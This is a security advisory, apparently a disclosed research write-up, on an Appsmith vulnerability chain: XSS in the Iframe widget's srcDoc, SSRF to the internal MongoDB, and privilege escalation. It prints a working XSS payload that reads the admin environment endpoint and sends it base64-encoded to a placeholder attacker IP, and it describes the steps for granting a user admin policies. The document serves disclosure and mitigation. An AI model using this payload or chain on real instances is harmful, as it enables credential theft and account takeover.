Authors : Sparsh Kulshrestha and Shashank Bharthwal
Editor : Deepanjli Paulraj
Executive Summary
| THREAT | IMPACT | MITIGATION |
|---|---|---|
|
|
|
Proof of Concept
Exfiltration of data through XSS
While navigating the different widgets available in Appsmith, we encountered an widget called Iframe. Using this widget users can insert iframes with arbitrary URLs and srcDoc in their Appsmith dashboards. We observed that the field named srcDoc is vulnerable to XSS.
The XSS could have been used to steal admin session cookies but the session cookies were marked as HttpOnly and hence are not accessible via Javascript.
Even though we couldn’t gain access to the cookies, we were able to use an iframe to fetch sensitive content from an API endpoint that only administrators have access to. One such endpoint was “/api/v1/admin/env” which contains the environment variables of Appsmith, including infrastructure-related credentials. Any other user apart from the administrator can not access the endpoint.
Since we have the capability to inject an iframe and execute arbitrary javascript, the admin can be tricked into loading the iframe successfully allowing javascript access to the contents of the iframe.
As a proof of concept the following code was injected in the srcDoc field, to insert an iframe that loads the admin environment endpoint and fetches the content of the iframe as soon as it finishes loading. Once the data is exfiltrated, it is sent to the attacker’s VPS where it can be decoded.
| <html> <head> <script> function fetchContent() { var content = document.getElementById(“adminData”).contentDocument.body.getElementsByTagName(“pre”).innerHTML; b64encodedContent = btoa(content); document.location = “http://<attackers_ip:port>/exfiltrate?data=”+b64encodedContent; } </script> </head> <body> <p>Exploit</p> <iframe id=”adminData” src=”/api/v1/admin/env” onload=”fetchContent();”> </iframe> </body> </html> |
|---|
Exploit Code for iframe injection and data exfiltration
Once the exploit is ready, it needs to be published so that other users can access it. This can be done by making the Appsmith dashboard public, and can be accessed by anyone.
Once the dashboard is published and is available to the public via a link, the link is sent to the administrator. As soon as the administrator clicks the link and views the dashboard, the iframe of the sensitive endpoint is loaded. Then the javascript steals the content of the iframe and sends it to the attacker. Here is how data is received on the attacker’s end when the administrator visits the malicious dashboard.
Now, this base64 encoded data can be decoded by the attacker by running the following command:
$ echo “<base64_encoded_data>” | base64 –decode
The decoded MongoDB credentials can be used for further investigation and exploitation.
Access to Internal MongoDB via SSRF
From our previous testing on Appsmith, we know that there are protections that restrict access to the cloud instances’ internal metadata but there are no restrictions on the localhost. In addition, Appsmith has a feature which allows users to connect MongoDB as a data source.
We then checked if this functionality can be used to connect to the internal MongoDB running on localhost. This was done by filling the connection and authentication details obtained previously into the form which allows users to connect to MongoDB as a data source.
On clicking on the “Save” option, the data source was added successfully. After which, we were able to view all the collections in the Appsmith database, on the UI.
Escalating privileges to Administrator
For each of these collections, it was possible to run the following DB queries
- INSERT
- UPDATE
- DELETE
- FIND
Out of all the collections, the one named “Users” contains the details of all users on the platform.
At this stage there are several ways to escalate privileges to an administrator. It is even possible to modify the admin user password hash or add admin policies to our user. We proceeded by fetching the admin policies from MongoDB, using the FIND command.
We found that the administrator account has the following policies associated with it.
| “policies”: , “permission”: “manage:userWorkspace”, “users”: }, { “groups”: [], “permission”: “read:userWorkspace”, “users”: }, { “groups”: [], “permission”: “read:users”, “users”: }, { “groups”: [], “permission”: “manage:users”, “users”: }, { “groups”: [], “permission”: “manage:instanceEnv”, “users”: } ] |
|---|
Then, using the update command, we updated the policies assigned to our user with the admin policies. On clicking on “RUN” we got a successful response from MongoDB.
Validation
To validate the vulnerability, we logged in to our user account via a different browser and found that it had access to all admin functionalities and permissions to manage users, workspaces, and instances.
We tried accessing the endpoint i.e. “/api/v1/admin/env”, which only administrators, and got a successful response from the server.
Impact
Attackers can first exploit the XSS vulnerability to steal internal MongoDB credentials, then an SSRF vulnerability can be exploited to connect to internal MongoDB to execute DB queries and achieve full account takeover or privilege escalation.
Also, Appsmith does not have a signup restriction in the default installation. So if an Appsmith instance is exposed to the internet, anyone can signup and have access to the vulnerable functionality in which the SSRF vulnerability was discovered.
This can have large-scale impact, given that over a 1000 Appsmith instances are exposed on the internet:
Mitigation
- The root vulnerabilities in this chain (CVE-2022-38298 and CVE-2022-38299) have been fixed by Appsmith
- Maintain a whitelist of domains or addresses that your application accesses
- Update to versions 1.7.12 and above.
Responsible Disclosure
CloudSEK submitted this vulnerability to Appsmith via their well-defined vulnerability disclosure process. Subsequently, the Appsmith team fixed this issue in their next release. Appsmith versions 1.7.12 and above do not have this vulnerability.